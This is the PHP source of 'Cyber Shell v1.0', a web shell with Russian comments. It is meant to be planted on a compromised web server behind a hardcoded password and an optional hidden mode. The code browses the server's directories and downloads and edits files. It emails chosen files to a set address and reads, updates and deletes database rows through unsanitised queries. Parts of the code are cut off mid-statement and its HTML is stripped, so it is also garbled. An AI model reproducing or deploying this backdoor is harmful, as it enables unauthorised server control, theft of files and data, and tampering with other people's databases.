/***************************************************************************
* Cyber Shell (v 1.0)
* -------------------
* copyright : (C) Cyber Lords, 2002-2006
* email : pixcher@mail.ru
*
* http://www.cyberlords.net
*
* Coded by Pixcher
* Lite version of php web shell
***************************************************************************/
/***************************************************************************
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License', or
* ('at your option) any later version.
*
***************************************************************************/
@session_start();
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@error_reporting(0);
/****************************** Options ************************************/
#пароль на авторизацию
$aupassword="virangar";
#если пароль установлен при $hiddenmode="true", то к скрипту нужно обращаться с параметром pass=пароль , например shell.php?pass=mysecretpass
$hiddenmode="false";
#e-mail на который скидываются выбранные файлы
$email="test@mail.ru";
/***************************************************************************/
$style="
";
foreach($_POST as $key => $value) {$$key=$value;}
foreach($_GET as $key => $value) {$$key=$value;}
if (isset($_GET[imgname]))
{
$img=array(
'dir'=>
'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAEC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2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z',
);
@ob_clean();
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
echo base64_decode($img[$imgname]);
die;
}
if ($_GET[pass]==$aupassword)
{
$_SESSION[aupass]=md5($aupassword);
}
if ($hiddenmode=="false")
if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]==""))
{
$diz="ok";
echo "
$style
";
}
if ($_SESSION[aupass]!="")
{
if (!$_GET and !$_POST or isset($pass))
$show="start";
function ext($str){
for ($i=1; $i",">",$str);
return $str;
}
function fsize($filename){
$s=filesize($filename);
if ($s>1048576){
return round(($s/1048576),2)." mb";
}
if ($s>1024){
return round(($s/1024),2)." kb";
}
return $s." byte";
}
function tourl($str){
$str= urlencode($str);
return $str;
}
function unbug($str){
$str = stripslashes($str);
return $str;
}
function countbyte($filesize) {
if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
else { $filesize = $filesize . ""; }
return $filesize;
}
function downloadfile($file) {
if (!file_exists("$file")) die;
$size = filesize("$file");
$filen=extractfilename($file);
header("Content-Type: application/force-download; name=\"$filen\"");
header("Content-Transfer-Encoding: binary");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"$filen\"");
header("Expires: 0");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
readfile("$file");
die;
}
function anonim_mail($from,$to,$subject,$text,$file){
$fp = fopen($file, "rb");
while(!feof($fp))
$attachment .= fread($fp, 4096);
$attachment = base64_encode($attachment);
$subject = "sendfile (".extractfilename($file).")";
$boundary = uniqid("NextPart_");
$headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\"";
$info = $text;
$filename=extractfilename($file);
$info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
$send = mail($to, $subject, $info, $headers);
fclose($fp);
echo "";
die;
}
if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]);
if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]);
$d=$_GET[d];
if (empty($d) or !isset($d)){
$d=realpath("./");
$d=str_replace("\\","/",$d);
}
$showdir="";
$bufdir="";
$buf = explode("/", $d);
for ($i=0;$i$buf[$i]/";
$bufdir.="/";
}
if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz]))
echo <<< EOF
$d
$style
";
if (count($dirs)==0 && count($files)==0){
echo <<< EOF
Папка пуста
EOF;
}}
$edit=$_REQUEST[edit];
if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){
$file=fopen($edit,"r") or die ("Нет доступа к файлу $edit");
if (filesize($edit) > 0)
$tfile=fread($file,filesize($edit)) or die ("Нет доступа к файлу $edit");
else $tfile = "";
fclose($file);
$tfile = htmlspecialchars($tfile,ENT_QUOTES);
echo "
";
echo "";
echo "
";
echo "";
}
if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){
echo "hello";
mysql_select_db($dbname) or die("Не могу выбрать базу данных");
mysql_query("delete from $mtable where $pixidname='$pixid'");
echo "";
}
if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){
mysql_select_db($dbname) or die("Не могу выбрать базу данных");
mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid");
}
if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){
mysql_select_db($dbname) or die("Не могу выбрать базу данных");
$re=mysql_query("select $var from $mtable where $pixidname='$pixid'");
$res=mysql_fetch_array($re);
$text=untag($res[$var]);
echo "
Вернуться к списку
";
}
if (isset($showdb) && empty($showtables)){
$re=mysql_query("show databases");
echo "
";
}
if (isset($showtables) and !empty($showtables)){
if (isset($xlimit)){
$_SESSION[limit]=$xlimit;
if (isset($xlenth))
$_SESSION[lenth]=$xlenth;
else $_SESSION[lenth]="";
}
echo "Назад к списку БД";
$re=mysql_query("SHOW TABLES FROM $showtables");
echo "